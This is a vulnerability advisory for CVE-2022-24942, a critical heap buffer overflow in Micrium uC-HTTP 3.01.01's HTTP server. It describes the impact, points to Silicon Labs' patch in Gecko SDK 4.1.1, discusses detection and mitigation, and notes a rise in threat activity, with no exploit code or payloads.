CVE-2022-24942
CRITICAL
Pub 02/11
Upd 05/05
Overview
This vulnerability is a heap-based buffer overflow occurring within the HTTP Server component of the Micrium uC-HTTP version 3.01.01. The flaw arises due to improper bounds checking when processing incoming HTTP requests, leading to memory corruption on the heap. Specifically, the HTTP Server's request handling routines fail to validate input lengths correctly, allowing overwriting of adjacent memory structures.
Vulnerability Description
Heap based buffer overflow in HTTP Server functionality in Micrium uC-HTTP 3.01.01 allows remote code execution via HTTP request.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending malicious HTTP requests to the affected server, triggering heap corruption that enables arbitrary code execution. This can result in full compromise of the affected device or system, including disruption of service and unauthorized control. The attack requires only network access to the HTTP Server and no user interaction, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N, making exploitation straightforward in exposed environments.
Solution
Silicon Labs has addressed this vulnerability in the Gecko Platform by updating the Micrium uC-HTTP component. Users should apply the patched version referenced in the vendor advisory available at https://community.silabs.com/sfc/servlet.shepherd/document/download/0698Y00000KlMPOQA3 and incorporate the fixes committed to the Gecko SDK repository in version 4.1.1, specifically the corrected http_server_req.c source file. Following the vendor's update instructions ensures mitigation of the heap overflow issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the HTTP server functionality of Micrium uC-HTTP 3.01.01 is characterized by a heap-based buffer overflow, a critical flaw that can lead to remote code execution. This type of vulnerability occurs when an application writes more data to a buffer located on the heap than it can hold, potentially overwriting adjacent memory. In this case, an attacker can craft a malicious HTTP request that exploits this weakness, allowing them to execute arbitrary code on the affected system. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to any system utilizing this version of the HTTP server.
Attack vectors for this vulnerability are primarily remote, as it can be exploited through specially crafted HTTP requests sent to the vulnerable server. An attacker does not require physical access to the device, which significantly broadens the potential threat landscape. Exploitation scenarios may involve an attacker sending a series of malformed requests that manipulate the server's memory allocation, ultimately leading to the execution of malicious payloads. This could be used to gain unauthorized access to sensitive data, disrupt services, or even take full control of the affected system. Given the increasing reliance on connected devices and IoT systems, the potential for widespread impact is considerable.
The real-world implications of this vulnerability can be severe, particularly for organizations that utilize Micrium uC-HTTP in their embedded systems. The ability for an attacker to execute arbitrary code remotely poses significant business risks, including data breaches, loss of service, and damage to reputation. Industries such as healthcare, automotive, and critical infrastructure, which often rely on embedded systems for operational functionality, are particularly vulnerable. A successful exploit could lead to regulatory fines, loss of customer trust, and substantial financial losses, making it imperative for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching software is essential to ensure that known vulnerabilities are addressed. In this case, upgrading to a version of Micrium uC-HTTP that is not affected by this flaw is a critical step. Additionally, employing intrusion detection systems (IDS) can help identify and alert on suspicious HTTP traffic patterns indicative of an attempted exploit. Network segmentation and strict access controls can further limit the potential impact of an exploit, ensuring that even if an attacker gains access, their ability to move laterally within the network is restricted.
In conclusion, the heap-based buffer overflow vulnerability in the HTTP server functionality of Micrium uC-HTTP 3.01.01 represents a significant threat to organizations utilizing this software. The potential for remote code execution through crafted HTTP requests highlights the importance of robust security practices and timely updates. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves against such vulnerabilities. Implementing effective detection and mitigation strategies will be crucial in safeguarding systems and maintaining operational integrity in an increasingly interconnected world.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2022-24942, with new sightings emerging after a period of dormancy. This uptick, while not yet indicative of widespread exploitation, signals increased adversary interest and potential preparatory actions for broader campaigns targeting vulnerable implementations of the Micrium uC-HTTP server. The slight rise in the EPSS score corroborates this trend, reflecting a growing likelihood of exploitation attempts in the near term. For defenders, this development underscores the need for heightened vigilance and monitoring, as early detection of exploitation attempts could be critical in preventing successful remote code execution attacks. Although no new exploit variants or proof-of-concept releases have been identified, the evolving telemetry suggests that threat actors may be refining their tactics or expanding reconnaissance efforts. Consequently, the threat level associated with this vulnerability should be considered elevated from a latent risk to an emerging operational concern, warranting closer attention within security operations.
